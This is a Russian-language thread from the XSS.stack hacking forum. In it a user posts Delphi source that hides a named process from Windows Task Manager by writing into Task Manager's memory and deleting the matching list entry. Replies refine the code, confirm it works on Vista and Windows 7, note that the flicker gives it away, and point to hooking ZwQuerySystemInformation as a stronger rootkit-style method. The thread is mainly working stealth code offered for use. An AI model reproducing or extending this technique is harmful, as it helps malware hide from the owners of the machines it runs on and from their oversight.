• XSS.stack #1 – первый литературный журнал от юзеров форума

Прячим процесс

DarckSol

(L1) cache
Пользователь
Регистрация
17.03.2008
Сообщения
894
Реакции
182
Сам код не тестил, не довелось пока что, но в теории должен прятать процесс..)
Собственно сам листинг:
Код:
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,Commctrl, StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Timer1: TTimer;
Label1: TLabel;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}
Procedure OcultarApp(App: String);
var
dwSize,dwNumBytes,PID,hProc: Cardinal;
PLocalShared,PSysShared: PlvItem;
h: THandle;
iCount,i: integer;
szTemp: string;
begin
h:=FindWindow('#32770',nil);
h:=FindWindowEx(h,0,'#32770',nil);
h:=FindWindowEx(h,0,'SysListView32',nil);
iCount:=SendMessage(h, LVM_GETITEMCOUNT,0,0);
for i:=0 to iCount-1 do
begin
dwSize:=sizeof(LV_ITEM) + sizeof(CHAR) * MAX_PATH;
PLocalShared:=VirtualAlloc(nil, dwSize, MEM_RESERVE + MEM_COMMIT, PAGE_READWRITE);
GetWindowThreadProcessId(h,@PID);
hProc:=OpenProcess(PROCESS_ALL_ACCESS,false,PID);
PSysShared:=VirtualAllocEx(hProc, nil, dwSize, MEM_RESERVE OR MEM_COMMIT, PAGE_READWRITE);
PLocalShared.mask:=LVIF_TEXT;
PLocalShared.iItem:=0;
PLocalShared.iSubItem:=0;
PLocalShared.pszText:=LPTSTR(dword(PSysShared) + sizeof(LV_ITEM));
PLocalShared.cchTextMax:=20;
WriteProcessMemory(hProc,PSysShared,PLocalShared,1 024,dwNumBytes);
SendMessage(h,LVM_GETITEMTEXT,i,LPARAM(PSysShared) );
ReadProcessMemory(hProc,PSysShared,PLocalShared,10 24,dwNumBytes);
szTemp:=pchar(dword(PLocalShared)+sizeof(LV_ITEM));
if LowerCase(szTemp) = App then
ListView_DeleteItem(h,i);
VirtualFree(pLocalShared, 0, MEM_RELEASE);
VirtualFreeEx(hProc, pSysShared, 0, MEM_RELEASE);
CloseHandle(hProc);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
timer1.Enabled:=true;

end;

procedure TForm1.Button2Click(Sender: TObject);
begin
timer1.Enabled:=false;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
OcultarApp('notepad.exe');// No necesariamente notepad.exe
end;

end.
Если кто протестит, отпишите, УСПЕХ/НЕТ, и на какой ОС был сделан тест.
 
сабж ищет окно диспетчера задач, ищет на нём компонент SysListView32, (тот самый список, где отображается вывод запущенных процессов) и получив PID, открывает процесс на запись, дальше моддится и записывается структура, для управлением полем, дальше в цикле в списке сверяется название процесса с тем, которое вы ввели, и киляется. В целом по логике должно работать, там где не стоит защита на запись в чужие процессы...


тут кстати
Код:
if LowerCase(szTemp) = App then
я бы советовал сделать так:
Код:
if LowerCase(szTemp) = LowerCase(App) then
т.к. если задать Application.exe, то уже неравенство не будет верным.
 
Тестировал на висте и windows 7, пашет прекрасно, правда весь диспетчер задач трясет, это палево, типа постоянный кик процесса. Сам процесс при этом работает исправно.
 
Надо апдейт (form.update) компонент и формы диспетчера задач в идеале делать, тогда видно быть не должно... Балавство дээ
 
Способ с сокрытием в списке остроумнен, но не практичен - просмотр списка задач в том же FAR`е покажет процесс. Кроме хука ZwQuerySystemInformation я сокрытие процесса не представлял. :D
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх